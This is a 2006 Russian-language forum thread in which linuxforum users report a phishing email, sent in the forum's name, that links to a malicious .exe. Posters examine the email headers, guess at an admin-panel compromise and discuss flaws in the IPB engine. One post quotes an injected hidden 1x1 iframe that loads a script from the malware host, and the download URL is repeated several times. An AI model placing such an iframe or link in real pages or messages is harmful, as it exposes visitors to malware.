От имени linuxforum рассылают * (Стоит проверить, не взломан ли форум)

powerfox · Сообщение **powerfox** » 10.07.2006 23:27

Вот, что мне пришло на мэил:

нР: "LinuxForum" <support@linuxforum.ru>
йНЛС: ***********************
дЮРЮ: 10 хЧК 2006 23:07:02
рЕЛЮ: linuxforum.ru ( LinuxForum )

Уважаемый(ая) powerfox.

Вышла офлайн версия форума. Доступ можно получить тут http://zdfttygzjm.biz/dl/loadadv586.exe

-------------------------------------
Статистика форума "LinuxForum":
-------------------------------------
Всего пользователей зарегистрировано: 6033
Всего оставлено сообщений: 221192
Рекорд посещаемости: 569 пользователей было 17th April 2006 - в 15:13

-------------------------------------
Удобные ссылки
-------------------------------------
Адрес форума: http://linuxforum.ru/index.php
Войти на форум: http://linuxforum.ru/index.php?act=Login&CODE=00
Восстановление утерянного пароля: http://linuxforum.ru/index.php?act=Reg&CODE=10

-------------------------------------
Как отписаться от рассылок?
-------------------------------------
Пожалуйста, измените в вашем профиле (http://linuxforum.ru/index.php?act=UserCP&CODE=02) настройки e-mail и уберите галочку 'Сообщать мне обо всех изменениях, проводимых администратором форума'.

Причём в той же кодировке, что и письма от форума, причём в koi8-r рассылка стала недавно.
Смешным показался формат файла, иначе бы сразу щёлкнул не думая...

nerezus · Сообщение **nerezus** » 10.07.2006 23:35

Кто-то базу слил...
Кстати, ipb - нереально дырявый движок <_<

Сообщение **KiWi** » 11.07.2006 00:00

nerezus писал(а): ↑
10.07.2006 23:35
Кстати, ipb - нереально дырявый движок <_<

А на другой принципиально переходить не собирались.

Pieron · Сообщение **Pieron** » 11.07.2006 00:02

http://zdfttygzjm.biz/dl/loadadv586.exe

какая то 6-кбайтовая бяка(вирус). Под wine, как и следовало ожидать, не завелась

мне вот стало интересно - сколько надо иметь мозгов чтобы отсылать это линуксоидам?

sergius · Сообщение **sergius** » 11.07.2006 00:05

Тут скорее робот работает. Ищет форумы на определенном движке, использует дыру. И рассылает мессаги.

Vidoc · Сообщение **Vidoc** » 11.07.2006 01:07

О, мне только что то же самое пришло! :velho:

keir · Сообщение **keir** » 11.07.2006 01:33

Мне было прислано подобное письмо:

Код: Выделить всё

От: support@linuxforum.ru LinuxForum
Кому: keir.ru@gmail.com
Дата: Mon, 10 Jul 2006 23:38:05 +0400
Тема: linuxforum.ru ( LinuxForum )


Уважаемый(ая) keir.

Вышла офлайн версия форума. Доступ можно получить тут http://zdfttygzjm.biz/dl/loadadv586.exe

-------------------------------------
Статистика форума "LinuxForum":
-------------------------------------
Всего пользователей зарегистрировано: 6033
Всего оставлено сообщений: 221201
Рекорд посещаемости: 569 пользователей было 17th April 2006 - в 15:13

-------------------------------------
Удобные ссылки
-------------------------------------
Адрес форума: http://linuxforum.ru/index.php
Войти на форум: http://linuxforum.ru/index.php?act=Login&CODE=00
Восстановление утерянного пароля: http://linuxforum.ru/index.php?act=Reg&CODE=10

-------------------------------------
Как отписаться от рассылок?
-------------------------------------
Пожалуйста, измените в вашем профиле (http://linuxforum.ru/index.php?act=UserCP&CODE=02) настройки e-mail и уберите галочку 'Сообщать мне обо всех изменениях, проводимых администратором форума'.

Кто может объяснить сие чудо?

Сообщение **mark** » 11.07.2006 01:48

От имени linuxforum рассылают *

rws · Сообщение **rws** » 11.07.2006 03:37

X-Gmail-Received: 4bc734a558216de5d3f592877b45c18dfa889b24
Delivered-To: xxx@gmail.com
Received: by 10.78.153.8 with SMTP id a8cs72847hue;
Mon, 10 Jul 2006 12:36:47 -0700 (PDT)
Received: by 10.66.221.19 with SMTP id t19mr224299ugg;
Mon, 10 Jul 2006 12:36:46 -0700 (PDT)
Return-Path: <www-154@slon.mezon.ru>
Received: from slon.mezon.ru (host-197-154.netflow.ru [88.212.197.154])
by mx.gmail.com with ESMTP id k30si132969ugc.2006.07.10.12.36.46;
Mon, 10 Jul 2006 12:36:46 -0700 (PDT)
Received-SPF: neutral (gmail.com: 88.212.197.154 is neither permitted nor denied by best guess record for domain of www-154@slon.mezon.ru)
Received: by slon.mezon.ru (Postfix, from userid 500)
id DF2EB412C70; Mon, 10 Jul 2006 23:39:03 +0400 (MSD)
To: xxx@gmail.com
Subject: linuxforum.ru ( LinuxForum )
MIME-Version: 1.0
Content-type: text/plain; charset="windows-1251"
From: "LinuxForum" <support@linuxforum.ru>
X-Priority: 3
X-Mailer: IPB PHP Mailer
X-Unique-ID: 191a6e0c_f1ffe466_72955a6e_7cdd9
Message-Id: <20060710193903.DF2EB412C70@slon.mezon.ru>
Date: Mon, 10 Jul 2006 23:39:03 +0400 (MSD)

Уважаемый(ая) rws.

Вышла офлайн версия форума. Доступ можно получить тут http://zdfttygzjm.biz/dl/loadadv586.exe

-------------------------------------
Статистика форума "LinuxForum":
-------------------------------------
Всего пользователей зарегистрировано: 6033
Всего оставлено сообщений: 221201
Рекорд посещаемости: 569 пользователей было 17th April 2006 - в 15:13

-------------------------------------
Удобные ссылки
-------------------------------------
Адрес форума: http://linuxforum.ru/index.php
Войти на форум: http://linuxforum.ru/index.php?act=Login&CODE=00
Восстановление утерянного пароля: http://linuxforum.ru/index.php?act=Reg&CODE=10

-------------------------------------
Как отписаться от рассылок?
-------------------------------------
Пожалуйста, измените в вашем профиле (http://linuxforum.ru/index.php?act=UserCP&CODE=02) настройки e-mail и уберите галочку 'Сообщать мне обо всех изменениях, проводимых администратором форума'.

VladimirP · Сообщение **VladimirP** » 11.07.2006 06:46

Мне пришло. Заголовки и ссылка те же.

nerezus · Сообщение **nerezus** » 11.07.2006 07:13

Кто-то получил доступ к админке... там же наверняка есть раздел для отправки сообщений...

Кстати, в данном движке ло сих пор не закрыты уязвимости. И пожно купить сплоиты, в районе 100 баксов.

Приведу пример: показал специально багу(неудавшаяся SQL-инъекция ввиду intval()), через которую нельзя что-либо сделать: index.php?act=Online&st=-1
Таких безопасных багов в этом форуме туча. Опасных, говорят, не меньше.

Вот что бывает, когда разработчики движка не думают о безопасности.

yros · Сообщение **yros** » 11.07.2006 08:07

Также пришло. Кодировка koi8, а указана 1251, как и во всех письмах с linuxforum.
Но все-таки каким болваном надобно быть чтобы подсовывать линуксоидам екзешник, утверждая к тому же что он является "офлайн версия форума". Наверное все-таки робот.

GRS · Сообщение **GRS** » 11.07.2006 08:26

Хорошо посмеялся, посмотрев на адрес exe-шника. Где они только собираются таких искать. Одно обидно, мейл вскрыт - жди спама.

Sonic · Сообщение **Sonic** » 11.07.2006 09:29

(GRS @ Jul 11 2006, в 12:26) писал(а):Одно обидно, мейл вскрыт - жди спама.

↑

Я думаю, не всё так плохо, рассылали стандартыми функциями форума. Вроде как получили доступ к админки. Хотя там уже можно свободно вытащить всю базу

Вот такая строчка появилась в шаблонах внизу. Следует полагать, что были в админки.
<iframe src="http://zdfttygzjm.biz/dl/adv586.php" width=1 height=1></iframe>

Kot-Mulder · Сообщение **Kot-Mulder** » 11.07.2006 10:49

Аналогично. Вид заразы - TR/Crypt.F.Gen

Гость · Сообщение **Гость** » 11.07.2006 11:16

И мне пришло.

Chapaev · Сообщение **Chapaev** » 11.07.2006 11:16

Мессага выше - моя. =)

muhas · Сообщение **muhas** » 11.07.2006 11:19

Прочитал эту тему и успокоился, а то сначала испугался, думал админы форума с ума свехнулися ехе'шники шлют

Navy Genie · Сообщение **Navy Genie** » 11.07.2006 12:06

Хех я тоже пришел спрашивать что за экзешник и чем мне его прикажут открывать , вот уж не ожидал что это вирусятина

Мак Сим · Сообщение **Мак Сим** » 11.07.2006 13:10

Забыли приложить описание как запустить виндовый вирус под эхотагом...

Сообщение **valeri_ufo** » 11.07.2006 13:54

Админам всё же стоило бы вывесить надпись красную такую, где написано что пароль стоит поменять.

nerezus · Сообщение **nerezus** » 11.07.2006 14:07

Админам всё же стоило бы вывесить надпись красную такую, где написано что пароль стоит поменять.

Не пароль, а мыло

Но пофигу, все равно засветится...

Мак Сим · Сообщение **Мак Сим** » 11.07.2006 14:11

Движок форума надо менять

Сообщение **edoc_modnar** » 11.07.2006 15:03

Sonic, маладец млин, что сказать...

Sonic · Сообщение **Sonic** » 11.07.2006 15:08

(random_code @ Jul 11 2006, в 19:03) писал(а):Sonic, маладец млин, что сказать...

↑

Что не так?

goood · Сообщение **goood** » 11.07.2006 15:12

nerezus писал(а): ↑
11.07.2006 14:07
Админам всё же стоило бы вывесить надпись красную такую, где написано что пароль стоит поменять.
Не пароль, а мыло
Но пофигу, все равно засветится...

вообще-то лучше и пароль и мыло.
Дыру наверняка уже подлатали.

nerezus · Сообщение **nerezus** » 11.07.2006 15:22

Дыру наверняка уже подлатали.

Я показал пример, которому уже чуть ли не полгода. До сих пор не поправили.

//часть поста удалил

muhas · Сообщение **muhas** » 11.07.2006 15:55

кстати никто не был по адресу http://zdfttygzjm.biz/ - тама

Fedora Core Test Page

This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page, it means that the Apache HTTP server installed at this site is working properly.

По ходу это какой-то ненавистник винды решил застебать виндузятников обитающих на этом форуме

Сообщение **KiWi** » 11.07.2006 16:20

Sonic писал(а): ↑
11.07.2006 15:08
(random_code @ Jul 11 2006, в 19:03) писал(а):
Sonic, маладец млин, что сказать...

↑

Что не так?

А теперь вопрос(ну, может мнение изменилось):
Будет ли произведена смена движка? На тот же vBulletin?

nerezus · Сообщение **nerezus** » 11.07.2006 16:55

IFL писал(а): ↑
11.07.2006 16:20
А теперь вопрос(ну, может мнение изменилось):
Будет ли произведена смена движка? На тот же vBulletin?

vB тоже платный.... правда он подешевле, чем IPB, да и возможностей поболее у него...

unixforum.org

От имени linuxforum рассылают * (Стоит проверить, не взломан ли форум)

От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *

Re: От имени linuxforum рассылают *